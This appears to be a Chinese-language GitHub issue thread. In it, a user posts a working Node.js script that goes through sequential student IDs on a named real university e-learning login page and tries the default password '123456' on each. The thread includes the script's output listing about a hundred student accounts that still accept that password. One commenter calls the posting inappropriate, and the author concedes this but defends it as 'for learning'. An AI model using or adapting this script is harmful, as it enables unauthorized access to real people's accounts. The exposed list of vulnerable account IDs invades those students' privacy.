Open fritx opened 10 years ago
以11级计算机学院学生为例,命令行下的输出:
fritx@js ~/work/test $ node eol-hack Yep caught: 11080109 Yep caught: 11080115 Yep caught: 11080117 Yep caught: 11080128 Yep caught: 11080134 Yep caught: 11080138 Yep caught: 11080139 Yep caught: 11080145 Yep caught: 11080146 Yep caught: 11080152 Yep caught: 11080212 Yep caught: 11080213 Yep caught: 11080214 Yep caught: 11080216 Yep caught: 11080220 Yep caught: 11080225 Yep caught: 11080229 Yep caught: 11080234 Yep caught: 11080241 Yep caught: 11080243 Yep caught: 11080249 Yep caught: 11080254 Yep caught: 11080301 Yep caught: 11080304 Yep caught: 11080315 Yep caught: 11080316 Yep caught: 11080317 Yep caught: 11080318 Yep caught: 11080324 Yep caught: 11080329 Yep caught: 11080330 Yep caught: 11080332 Yep caught: 11080333 Yep caught: 11080338 Yep caught: 11080339 Yep caught: 11080347 Yep caught: 11080401 Yep caught: 11080407 Yep caught: 11080413 Yep caught: 11080419 Yep caught: 11080422 Yep caught: 11080424 Yep caught: 11080426 Yep caught: 11080428 Yep caught: 11080429 Yep caught: 11080432 Yep caught: 11080439 Yep caught: 11080447 Yep caught: 11080502 Yep caught: 11080510 Yep caught: 11080511 Yep caught: 11080512 Yep caught: 11080516 Yep caught: 11080529 Yep caught: 11080530 Yep caught: 11080532 Yep caught: 11080535 Yep caught: 11080540 Yep caught: 11080546 Yep caught: 11080602 Yep caught: 11080610 Yep caught: 11080611 Yep caught: 11080616 Yep caught: 11080619 Yep caught: 11080620 Yep caught: 11080622 Yep caught: 11080623 Yep caught: 11080627 Yep caught: 11080632 Yep caught: 11080634 Yep caught: 11080705 Yep caught: 11080707 Yep caught: 11080708 Yep caught: 11080711 Yep caught: 11080714 Yep caught: 11080715 Yep caught: 11080721 Yep caught: 11080722 Yep caught: 11080728 Yep caught: 11080738 Yep caught: 11080742 Yep caught: 11080744 Yep caught: 11080745 Yep caught: 11080746 Yep caught: 11080747 Yep caught: 11080752 Yep caught: 11080803 Yep caught: 11080818 Yep caught: 11080821 Yep caught: 11080832 Yep caught: 11080834 Yep caught: 11080836 Yep caught: 11080838 Yep caught: 11080843 Yep caught: 11080844 Yep caught: 11080846 Yep caught: 11080848 Yep caught: 11080850 Done!
Nodejs源码:
// eol-hack.js var request = require('request') var PASS = '123456' var firstId = '11080101' var lastId = '11080860' var done = function() { console.log('Done!') process.exit() } var next = function(id) { if (id >= lastId) return null // 如果学号不是纯数字的话 //var arr = id.match(/^(\D*)(\d+)$/) //var head = arr[1] //var num = +arr[2] var head = '', num = +id if (num % 100 < 60) { num = num + 1 } else { // 超出60就切换到下一个班级 num = (~~(num / 100) + 1) * 100 + 1 } return head + num } var send = function(id, pass, cb) { request.post({ url: 'http://eol.wyu.cn/eol/homepage/common/login.jsp', form: { IPT_LOGINUSERNAME: id, IPT_LOGINPASSWORD: pass }, headers: { // 对于一些其他的网站,headers还得加上,尤其是referer //'Host': 'eol.wyu.cn', //'Origin': 'http://eol.wyu.cn', //'Referer': 'http://eol.wyu.cn/eol/homepage/common/', //'User-Agent':'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36' } }, cb) } var receive = function(id, html) { var caught = html.trim().match(/history\.back/) if (caught) { console.log('Yep caught: ' + id) } } var hack = function(id, pass, cb) { send(id, pass, function(err, res, html){ receive(id, html) cb() }) } var startHack = function(id) { hack(id, PASS, function(){ var nextId = next(id) if (!nextId) done() startHack(nextId) }) } ///////////// startHack(firstId)
你这样给人贴出来不太好吧?
@ade951 是的 公然贴出 做法欠佳 不过考虑到123456是默认密码 仅为“学习交流之便” 且可加强展示效果 于是决定全部贴出
拍拍!同学,你有快递,请开门查收!
儿,不错哦。
以11级计算机学院学生为例,命令行下的输出:
Nodejs源码: